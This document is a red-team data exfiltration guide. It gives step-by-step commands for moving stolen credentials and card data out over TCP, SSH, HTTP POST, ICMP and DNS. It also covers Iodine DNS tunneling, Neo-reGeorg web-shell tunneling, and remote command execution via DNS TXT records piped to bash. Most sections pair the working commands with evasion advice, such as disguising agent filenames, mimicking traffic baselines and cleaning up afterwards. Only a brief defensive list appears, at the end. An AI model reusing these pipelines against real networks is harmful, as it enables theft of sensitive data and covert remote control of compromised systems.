Data Exfiltration Guide

Data exfiltration is the unauthorized transfer of sensitive information from a compromised environment to attacker-controlled infrastructure. This guide walks through practical red-team techniques across TCP, SSH, HTTP/HTTPS, ICMP, and DNS — including Iodine (IP-over-DNS) and Neo-reGeorg (HTTP tunneling) — with operational security notes and blue-team detection guidance for each method.

▸01 · Introduction to Data Exfiltration

1.1 Modern Threat Landscape

Data exfiltration is the unauthorized transfer of sensitive data from a compromised network to attacker-controlled infrastructure. In contemporary threat operations, exfiltration is rarely a loud, obvious event. Instead, sophisticated actors blend their traffic into the enormous volume of legitimate network communications — DNS queries, HTTP requests, ICMP pings — exploiting protocols that organizations depend on and therefore cannot simply block.

Historically, perimeter firewalls were the primary defense. Attackers responded by pivoting to protocols firewalls are reluctant to block: DNS (port 53), HTTP/HTTPS (ports 80/443), and ICMP — all of which are essential to normal business operations. This asymmetry between network necessity and security risk defines the modern data exfiltration problem.

From a red team perspective, exfiltration technique selection is driven by the target environment's firewall posture, available egress paths, monitoring capabilities, and the volume of data to be transferred. Understanding protocol-specific trade-offs is essential for operating at the highest level of stealth and effectiveness.

1.2 Core Properties of Data Exfiltration

1.3 Commonly Abused Protocols

• DNS (Domain Name System) — port 53 UDP/TCP
• HTTP/HTTPS (Hypertext Transfer Protocol) — ports 80 and 443
• SSH (Secure Shell) — port 22
• ICMP (Internet Control Message Protocol) — Layer 3, no port

▸02 · Protocol Comparison Matrix

▸03 · Layer 4 — TCP Socket Exfiltration

3.1 Concept and Operational Rationale

Raw TCP socket exfiltration is the most direct method: a listener is established on attacker infrastructure, and the victim machine initiates an outbound connection to deliver data. This technique requires minimal tooling (Netcat is standard on most Linux distributions) and achieves high throughput.

The primary weakness is detectability. Raw TCP connections on non-standard ports are conspicuous in environments with mature network monitoring. However, in environments with permissive egress rules or no outbound traffic inspection, this technique offers maximum speed.

Data is typically encoded using Base64 and further obfuscated with EBCDIC conversion to defeat simple content-inspection signatures.

3.2 Execution Walkthrough

Step 1 — Start a Listener on Attacker Infrastructure

asbawy@kali$ nc -lvp 8080 > /tmp/exfil-creds.data
# Listening on [0.0.0.0] (family 0, port 8080)

• -l — listen mode
• -v — verbose output
• -p 8080 — bind on port 8080
• > — redirect incoming stream to file

Step 2 — Access the Compromised Host

asbawy@kali$ ssh test@internal.corp

Or, using a non-standard port for lab pivoting:

asbawy@kali$ ssh test@10.10.10.50 -p 2022
# Credentials: cred:cred

Step 3 — Inspect Target Data on Victim

test@victim:~$ cat loot/creds.txt
admin:password
Admin:123456
root:manga

Step 4 — Compress, Encode, and Exfiltrate via TCP

test@victim:~$ tar zcf - loot/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.1.100/8080
# 0+1 records in
# 0+1 records out
# 260 bytes copied, 9.87e-05 s, 3 MB/s

Pipeline breakdown:

Why Base64 + EBCDIC? The Base64 encoding produces a safe, printable character set. The subsequent EBCDIC conversion renders the traffic non-human-readable and defeats naive signature matching on the wire without requiring any external encryption tool.

Step 5 — Verify Receipt and Restore Data

# On attacker machine: confirm receipt
asbawy@kali$ ls -lh /tmp/exfil-creds.data
# -rw-r--r-- 1 root root 240 /tmp/exfil-creds.data

# Convert EBCDIC back to ASCII, then decode Base64
asbawy@kali:/tmp/$ dd conv=ascii if=exfil-creds.data | base64 -d > exfil-creds.tar
# 0+1 records in / 0+1 records out

# Extract the archive
asbawy@kali$ tar xvf exfil-creds.tar
# loot/
# loot/creds.txt

# Verify data integrity
asbawy@kali$ cat loot/creds.txt
# admin:password
# Admin:123456
# root:manga

3.3 Operational Security (OpSec) Notes

• Use common high-numbered ports (8443, 4433, 9090) to mimic legitimate application traffic rather than obviously non-standard ports.
• Consider timing exfiltration during peak business hours when network baselines are noisiest.
• For long-running exfiltration, use intermittent transfers rather than a single sustained connection.
• Firewall rules may block outbound connections to non-corporate IPs. Test egress paths before committing to TCP socket exfiltration.

3.4 Mitigation and Detection

▸04 · Layer 7 — SSH Exfiltration

4.1 Concept and Operational Rationale

SSH exfiltration exploits the fact that port 22 (Secure Shell) is frequently permitted outbound in corporate environments for legitimate system administration. All data transmitted over SSH is encrypted end-to-end using strong ciphers (AES, ChaCha20), making content inspection by intermediate devices impossible without SSL/TLS decryption infrastructure.

From a network perspective, SSH exfiltration traffic is structurally identical to an administrator remotely accessing a server. This behavioral camouflage makes it one of the most reliable high-bandwidth exfiltration techniques available.

4.2 Execution Walkthrough

Step 1 — Inspect Target Data on Victim

test@victim:~$ cat loot/creds.txt
admin:password
Admin:123456
root:manga

Step 2 — Stream and Extract Data via SSH

test@victim:~$ tar cf - loot/ | ssh test@c2.infrastructure.io "cd /tmp/ && tar xpf -"

Pipeline breakdown:

Step 3 — Verify Data Received on Attacker Server

asbawy@kali:/tmp/loot$ cat creds.txt
admin:password
Admin:123456
root:manga

4.3 Alternative SSH Exfiltration Methods

SCP (Secure Copy):

# Single file
scp loot/creds.txt test@c2.infrastructure.io:/tmp/

# Entire directory
scp -r loot/ test@c2.infrastructure.io:/tmp/

With Compression (for large datasets):

tar czf - loot/ | ssh test@c2.infrastructure.io "cd /tmp/ && tar xzf -"

With Additional Base64 Encoding (extra obfuscation layer):

tar cf - loot/ | base64 | ssh test@c2.infrastructure.io "cd /tmp/ && base64 -d | tar xf -"

4.4 Advantages of SSH Exfiltration

4.5 Operational Security (OpSec) Notes

• Use SSH key-based authentication for passwordless, automated exfiltration pipelines.
• Operate over non-standard SSH ports (e.g., 2222, 443) where SSH over HTTPS is permitted, to avoid destination-based heuristics on port 22.
• Key reuse is an OPSEC risk. Generate operation-specific SSH keypairs and destroy them post-operation.
• Consider using ssh -o StrictHostKeyChecking=no and -o UserKnownHostsFile=/dev/null in lab environments to suppress known_hosts file writes.
• Large, sustained SSH data flows from non-admin workstations are anomalous and will trigger behavioral analytics.

4.6 Mitigation and Detection

▸05 · Layer 7 — HTTP/HTTPS Exfiltration

5.1 Concept and Operational Rationale

HTTP and HTTPS are the dominant protocols on any enterprise network. Ports 80 and 443 are open in virtually every environment, and traffic to them is frequently neither logged in full nor deeply inspected. This makes HTTP-based exfiltration highly reliable in terms of firewall traversal.

The key technical choice is HTTP POST over HTTP GET. POST parameters are not recorded in web server access logs by default, are not cached by proxies, and carry no URL length limitations.

Access Log Comparison:

5.2 HTTP POST Exfiltration — Execution Walkthrough

Step 1 — Deploy a Receiving Handler on Attacker Web Server

Save the following as contact.php on the attacker-controlled web server:

<?php
if (isset($_POST['file'])) {
    $file = fopen("/tmp/http.enc64", "w");
    fwrite($file, $_POST['file']);
    fclose($file);
}
?>

This handler accepts a POST parameter named file and writes the raw content to disk.

Step 2 — Access the Compromised Victim Host

asbawy@kali$ ssh test@internal.corp

Step 3 — Compress, Encode, and POST Data

test@victim:~$ curl --data "file=$(tar zcf - loot/ | base64)" http://webserver.local/contact.php

Pipeline breakdown:

Step 4 — Retrieve and Restore Data on Attacker Server

# Connect to attacker web server
asbawy@kali$ ssh test@webserver.local

# Confirm receipt
test@webserver:~$ ls -lh /tmp/http.enc64
# -rw-r--r-- 1 www-data www-data 247 /tmp/http.enc64

# Fix HTTP URL-encoding corruption (+ replaces spaces in transit)
test@webserver:~$ sudo sed -i 's/ /+/g' /tmp/http.enc64

# Decode and extract
test@webserver:~$ cat /tmp/http.enc64 | base64 -d | tar xvfz -
# loot/
# loot/creds.txt

5.3 HTTPS Exfiltration

The technique is identical, but the transport layer adds TLS encryption:

test@victim:~$ curl --data "file=$(tar zcf - loot/ | base64)" https://webserver.local/contact.php

HTTPS exfiltration renders wire-level content inspection impossible without SSL/TLS inspection infrastructure (man-in-the-middle proxy with certificate trust injection). Even in environments with TLS inspection, the Base64-encoded and compressed payload provides an additional obfuscation layer.

5.4 Operational Security (OpSec) Notes

• Name the POST parameter innocuously: q, search, data, upload are all less suspicious than exfil or payload.
• Ensure the web server handler returns a legitimate HTTP 200 response code with a plausible response body.
• Use realistic User-Agent headers in curl requests: -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)".
• Multipart form data (-F) can be used instead of --data to further mimic legitimate file upload behavior.
• Host the receiver on a domain with a valid TLS certificate and established reputation age to avoid domain reputation blocking.

5.5 Mitigation and Detection

▸06 · Layer 3 — ICMP Exfiltration

6.1 Concept and Operational Rationale

ICMP (Internet Control Message Protocol) is a network-layer diagnostic protocol. Its most familiar manifestation is the ping command (Echo Request / Echo Reply). ICMP carries a Data section in each packet — a field intended to carry error diagnostic information — but there is no technical constraint preventing this field from containing arbitrary attacker-controlled data.

ICMP exfiltration is particularly effective because:

• Many network monitoring solutions focus on TCP/UDP and give ICMP minimal scrutiny.
• ICMP is essential for network diagnostics and is permitted through most firewall configurations.
• The protocol provides a bidirectional channel, enabling command-and-control (C2) as well as data transfer.

The primary limitation is bandwidth. Each ICMP packet's data section is constrained by MTU, typically to a few hundred to a few thousand bytes, meaning large-scale exfiltration via ICMP is slow and best suited for targeted credential or key material extraction.

6.2 ICMP Packet Structure

6.3 Manual ICMP Exfiltration via ping

Linux's ping implementation accepts a -p flag allowing up to 16 bytes of hexadecimal data to be injected into the ICMP Data field.

Convert target string to hexadecimal:

asbawy@kali$ echo "test:test" | xxd -p
74657374 3a746573 740a

Send the hex payload in an ICMP packet:

asbawy@kali$ ping 10.10.10.50 -c 1 -p 74657374 3a746573 740a

The receiving party captures this packet with tcpdump or Wireshark and extracts the Data section for decoding.

6.4 Automated ICMP Exfiltration with Metasploit

Metasploit's auxiliary/server/icmp_exfil module automates multi-packet ICMP exfiltration with BOF (Beginning of File) and EOF (End of File) delimiters, handling chunking and reassembly automatically.

Step 1 — Configure and Launch the Listener

msf6 > use auxiliary/server/icmp_exfil
msf6 auxiliary(server/icmp_exfil) > set BPF_FILTER icmp and not src 10.10.10.100
msf6 auxiliary(server/icmp_exfil) > set INTERFACE eth0
msf6 auxiliary(server/icmp_exfil) > run
# [*] ICMP Listener started on eth0. Monitoring for trigger packet containing ^BOF

• BPF_FILTER — excludes the attacker's own IP to prevent capture loops
• INTERFACE — the network interface on which to listen

Step 2 — Send BOF Trigger from Victim

test@victim:~$ sudo nping --icmp -c 1 10.10.10.100 --data-string "BOFcreds.txt"

This tells the Metasploit listener to expect a file named creds.txt and begin capturing subsequent ICMP data.

Step 3 — Transmit Data Chunks

test@victim:~$ sudo nping --icmp -c 1 10.10.10.100 --data-string "admin:password"
test@victim:~$ sudo nping --icmp -c 1 10.10.10.100 --data-string "root:manga"

Step 4 — Send EOF Trigger

test@victim:~$ sudo nping --icmp -c 1 10.10.10.100 --data-string "EOF"

Metasploit output:

6.5 ICMP C2 with ICMPDoor

ICMPDoor is an open-source reverse shell that uses ICMP Echo packets for bidirectional command execution.

Start the client on the victim machine:

test@victim:~$ sudo icmpdoor -i eth0 -d 192.168.1.100

Start the C2 server on the attacker machine:

asbawy@kali$ sudo icmp-cnc -i eth0 -d 192.168.1.50

Issue commands through the ICMP channel:

shell: hostname
# icmp-host
shell: whoami
# root

Verify ICMP traffic with tcpdump:

asbawy@kali$ sudo tcpdump -i eth0 icmp

6.6 Operational Security (OpSec) Notes

• Match the frequency and packet size of ICMP traffic to the environment's existing ping baseline (e.g., monitoring systems performing periodic health checks).
• Randomize inter-packet timing to prevent detection by regularity-based ICMP anomaly detectors.
• Encrypt payload data before inserting it into the ICMP Data field — a raw credential string in the Data field is trivially detected by any packet capture.
• Use ICMPDoor and similar tools sparingly; their signatures (specific ICMP type/code combinations with non-zero data sections) are increasingly present in security tool signature databases.

6.7 Mitigation and Detection

▸07 · Layer 7 — DNS Exfiltration

7.1 Concept and Operational Rationale

DNS (Domain Name System) is arguably the most abusable protocol for exfiltration due to one fundamental reality: blocking DNS breaks the internet. Every organization must permit DNS traffic (port 53 UDP/TCP) to function, and many organizations fail to inspect DNS query payloads with any rigor.

DNS exfiltration encodes sensitive data into DNS query strings — specifically, as subdomains of an attacker-controlled domain. Because the attacker controls an authoritative nameserver for their domain, all DNS queries for *.attacker-domain.com are delivered to that server, containing the encoded data payload in the subdomain labels.

7.2 DNS Record Types Relevant to Exfiltration

7.3 DNS Protocol Constraints

7.4 DNS Exfiltration Execution Walkthrough

Step 1 — Prepare Attacker Machine to Receive DNS Traffic

asbawy@kali$ sudo tcpdump -i eth0 udp port 53 -v

This captures all incoming DNS queries, which will contain the exfiltrated data in the subdomain fields.

Step 2 — Identify Target Data on Victim

test@victim:~$ cat loot/credit.txt
Name: Test User
Address: 1234 Corporate Ave
Credit Card: 4111-1111-1111-1111
Expire: 12/26
Code: 772

Step 3 — Encode Data with Base64

test@victim:~$ cat loot/credit.txt | base64
VGVzdCBVc2VyCkFkZHJlc3M6IDEyMzQgQ29ycG9yYXRlIEF2ZQpDcmVkaXQgQ2FyZDogNDExMS0x
MTExLTExMTEtMTExMQpFeHBpcmU6IDEyLzI2CkNvZGU6IDc3Mgo=

Step 4 — Method A — Multiple Individual DNS Queries

Each chunk of the encoded data is sent as a separate DNS query:

test@victim:~$ cat loot/credit.txt | base64 | tr -d "\n" | fold -w18 \
  | sed -r 's/.*/&.c2.infrastructure.io/'
VGVzdCBVc2VyCkFk.c2.infrastructure.io
ZHJlc3M6IDEyMzQg.c2.infrastructure.io
Q29ycG9yYXRlIEF2.c2.infrastructure.io
...

Pipeline explanation:

Step 5 — Method B — Single DNS Request (Recommended)

Combines all chunks into one DNS query by chaining labels:

test@victim:~$ cat loot/credit.txt | base64 | tr -d "\n" | fold -w18 \
  | sed 's/.*/&./' | tr -d "\n" | sed 's/$/c2.infrastructure.io/'

VGVzdCBVc2VyCkFk.ZHJlc3M6IDEyMzQg.Q29ycG9yYXRlIEF2.(...).c2.infrastructure.io

Step 6 — Execute the DNS Query

test@victim:~$ cat loot/credit.txt | base64 | tr -d "\n" | fold -w18 \
  | sed 's/.*/&./' | tr -d "\n" | sed 's/$/c2.infrastructure.io/' \
  | awk '{print "dig +short " $1}' | bash

The dig command sends the constructed subdomain as a DNS A query. The attacker's authoritative nameserver receives the full query string and logs it.

Step 7 — Reconstruct Data on Attacker Server

Captured query from tcpdump:

Decode the received data:

asbawy@kali$ echo "VGVzdCBVc2VyCkFk.ZHJlc3M6IDEyMzQg.Q29ycG9yYXRlIEF2.(...).c2.infrastructure.io." \
  | cut -d"." -f1-8 | tr -d "." | base64 -d

Name: Test User
Address: 1234 Corporate Ave
Credit Card: 4111-1111-1111-1111
Expire: 12/26
Code: 772

7.5 DNS-Based C2 via TXT Records

Attackers can deliver commands to compromised hosts using DNS TXT records, creating a fully DNS-encapsulated C2 channel.

Step 1 — Encode command as Base64:

asbawy@kali$ echo '#!/bin/bash
ping -c 1 internal.corp' | base64
IyEvYmluL2Jhc2gKcGluZyAtYyAxIGludGVybmFsLmNvcnAK

Step 2 — Create a DNS TXT record for cmd.c2.infrastructure.io containing the Base64 payload (via attacker DNS management panel).

Step 3 — Victim retrieves and executes the command:

test@victim:~$ dig +short -t TXT cmd.c2.infrastructure.io | tr -d '"' | base64 -d | bash

This pattern enables fully network-agnostic C2: as long as the victim can resolve DNS, the attacker can deliver arbitrary shell commands.

7.6 Encoding Options for DNS Exfiltration

7.7 Operational Security (OpSec) Notes

• Register exfiltration domains well in advance of the operation (domain age is a reputation signal).
• Use legitimate-looking subdomain patterns: cdn-api-12.c2.infrastructure.io is less suspicious than chunk1.c2.infrastructure.io.
• Cap query rate to match the environment's normal DNS traffic volume.
• Use DNS-over-HTTPS (DoH) or DNS-over-TLS (DoT) where available to encrypt the query transport layer.
• Have a fallback exfiltration channel ready if DNS payload inspection is detected.

7.8 Mitigation and Detection

▸08 · Advanced Tunneling — Iodine (IP-over-DNS)

8.1 Concept and Operational Rationale

DNS tunneling with Iodine goes beyond simple data exfiltration — it creates a full bidirectional IP tunnel over DNS, enabling TCP connections, SSH, HTTP browsing, and arbitrary network pivoting through a DNS channel. This is the technique of last resort in maximally restricted environments: if a host can resolve DNS, Iodine can establish a full IP tunnel to attacker infrastructure.

Iodine encapsulates IP packets inside DNS queries and responses. The attacker runs iodined (server daemon) on a machine authoritative for a registered domain. The victim runs iodine (client), which creates a virtual dns0 network interface and routes traffic through DNS.

8.2 Architecture Overview

8.3 Iodine Components

8.4 Execution Walkthrough

Step 1 — Configure DNS Records

Point the NS record of a subdomain to your attacker server's IP address. For this example, tunnel.c2.infrastructure.io is configured with an NS record pointing to 172.20.0.200 (attacker machine).

Step 2 — Start the Iodine Server (Attacker Machine)

asbawy@kali$ sudo iodined -f -c -P s3cr3tpass 10.1.1.1/24 tunnel.c2.infrastructure.io

Expected server output:

Step 3 — Start the Iodine Client (Victim / Jumpbox)

test@victim:~$ sudo iodine -P s3cr3tpass tunnel.c2.infrastructure.io

Expected client output:

The tunnel is now live. dns0 on the victim carries the IP address 10.1.1.2; dns0 on the server carries 10.1.1.1.

Step 4 — Establish an SSH SOCKS Proxy Over the DNS Tunnel

Once the IP tunnel is established, layer an SSH SOCKS proxy on top for full pivoting capability:

asbawy@kali$ ssh test@10.1.1.2 -4 -f -N -D 1080

Step 5 — Pivot Through the Tunnel

Access internal network resources via the SOCKS proxy:

# Using ProxyChains
asbawy@kali$ proxychains curl http://172.20.0.50/api/internal

# Using curl's native SOCKS5 support
asbawy@kali$ curl --socks5 127.0.0.1:1080 http://172.20.0.50/api/internal

From the internal server's perspective, all traffic originates from the victim host, not the attacker's real IP.

Step 6 — Monitor DNS Tunnel Traffic (Optional Validation)

asbawy@kali$ sudo tcpdump -i eth0 udp port 53 -v

A steady stream of DNS queries and responses confirms the tunnel is operational.

8.5 DNS Record Types Used by Iodine

Iodine auto-negotiates the best available record type at connection time.

8.6 Operational Security (OpSec) Notes

• Iodine tunnels are detectable by their characteristic query patterns: high-frequency DNS queries to a single domain with NULL or TXT record types.
• Use Iodine for low-bandwidth C2 channels and lateral movement pivoting, not for bulk data exfiltration.
• Operate during peak DNS traffic periods to maximize camouflage.
• Set the iodine server to use a legitimate-looking domain name with established history.
• Destroy the DNS records and tunnel interfaces immediately after the operation concludes.

8.7 Mitigation and Detection

▸09 · Advanced Tunneling — Neo-reGeorg (HTTP Tunneling)

9.1 Concept and Operational Rationale

Neo-reGeorg creates a full SOCKS proxy tunnel delivered through HTTP requests to a server-side agent script (PHP, ASPX, JSP). It is designed for scenarios where a web application is accessible from the internet but internal network resources are not — Neo-reGeorg enables pivoting from the attacker through the public-facing web server and into the internal network, with all traffic appearing as ordinary HTTP requests to a web application.

9.2 Architecture Overview

9.3 Execution Walkthrough

Step 1 — Generate an Encrypted Tunnel Agent

asbawy@kali$ python3 neoreg.py generate -k 0p3r4t10nk3y

This produces encrypted agent scripts in neoreg_servers/:

• tunnel.php — for PHP-enabled web servers
• tunnel.aspx — for ASP.NET / IIS servers
• tunnel.jsp — for Java application servers

The -k flag sets the encryption key. All traffic between the client and agent is encrypted using this key.

Step 2 — Deploy Agent to Target Web Server

Upload tunnel.php to the target web server via any available upload mechanism (file upload vulnerability, CMS media upload, LFI, etc.).

The deployed agent is accessible at:

Step 3 — Establish the HTTP Tunnel

asbawy@kali$ python3 neoreg.py -k 0p3r4t10nk3y -u http://webserver.local/uploads/tunnel.php

On successful connection, Neo-reGeorg binds a SOCKS5 proxy at 127.0.0.1:1080.

Step 4 — Access Internal Network Resources via the Tunnel

# Access an internal application server
asbawy@kali$ curl --socks5 127.0.0.1:1080 http://app.internal.corp/

# Access a restricted internal resource
asbawy@kali$ curl --socks5 127.0.0.1:1080 http://db.internal.corp:8080/admin

9.4 Traffic Flow Analysis

From the internal application's perspective, all traffic originates from the web server's IP — not the attacker.

9.5 Operational Security (OpSec) Notes

• The uploaded agent script is a significant OPSEC liability. Use a filename that matches expected application files (config.php, cache.php, health.php) rather than tunnel.php.
• Remove the agent immediately after the operation. Server-side file forensics will find it.
• Neo-reGeorg traffic is HTTP-compliant but exhibits characteristic patterns (repeated POST requests to a single endpoint with encrypted binary bodies). These patterns are visible in WAF and proxy logs.
• Use HTTPS (TLS) endpoints where available to prevent content inspection.
• Rotate the encryption key per operation to prevent signature-based detection of previously analyzed Neo-reGeorg payloads.

9.6 Mitigation and Detection

▸10 · Conclusion & Stealth Best Practices

10.1 Summary of Techniques

10.2 Universal Stealth Principles

Blend with Legitimate Traffic. Every exfiltration technique is more effective when the traffic pattern matches the environment's baseline. DNS exfiltration during peak browsing hours, SSH exfiltration timed to coincide with routine system administration windows, and HTTP exfiltration mimicking CDN or API call patterns are all substantially harder to detect than off-hours activity with unusual traffic shapes.

Encode and Encrypt. Plain-text data transmission is never acceptable. At minimum, apply Base64 encoding to defeat content-based signatures. Wherever possible, add a layer of encryption (pre-encrypt with AES or GPG before encoding) so that even if the traffic is captured, the payload is not immediately readable.

Low and Slow. High-volume, high-rate exfiltration triggers threshold-based alerts. Distribute transfers over extended time windows. Prefer multiple small transfers over a single large burst.

Operate with Minimal Footprint. Avoid deploying unnecessary tools to the victim host. Prefer techniques that leverage binaries already present on the system (Living off the Land). Remove all deployed files, tunnel agents, and modified configurations immediately after the operation.

Validate Egress Before Committing. Test which protocols and destinations are reachable from the victim before selecting an exfiltration technique. A single failed DNS resolution attempt is less detectable than an aborted TCP connection to a blocked port.

Establish Fallback Channels. Never rely on a single exfiltration method. Pre-configure a fallback (e.g., DNS exfiltration if HTTP is blocked) and validate it before beginning primary exfiltration.

10.3 Red Team Engagement Checklist

Prior to any data exfiltration phase, confirm the following:

• Egress paths tested and validated (TCP, DNS, HTTP/HTTPS, ICMP)
• Attacker infrastructure fully operational (listeners, web handlers, DNS server)
• Data staged and pre-encoded locally on victim prior to transmission
• Transfer timing aligned with network activity baselines
• Fallback exfiltration channel configured and validated
• All tooling deployed via Living-off-the-Land techniques where possible
• Post-operation cleanup plan defined (files, keys, tunnel interfaces, logs)
• Rules of Engagement reviewed and scope confirmed

10.4 Defensive Takeaways for Blue Teams

This guide documents techniques that are actively used by advanced threat actors. Defenders should implement:

• Full packet capture and retention at network egress points
• DNS payload inspection and entropy-based alerting
• TLS/SSL decryption for HTTPS traffic inspection at the proxy layer
• Behavioral analytics baselines per host, with anomaly alerting
• File integrity monitoring on web servers and application directories
• ICMP inspection at the perimeter firewall level
• Strict egress filtering: whitelist approved outbound destinations and ports

Understanding attacker methodology at this level of technical depth is a prerequisite for building detection logic that will catch these techniques before data leaves the network.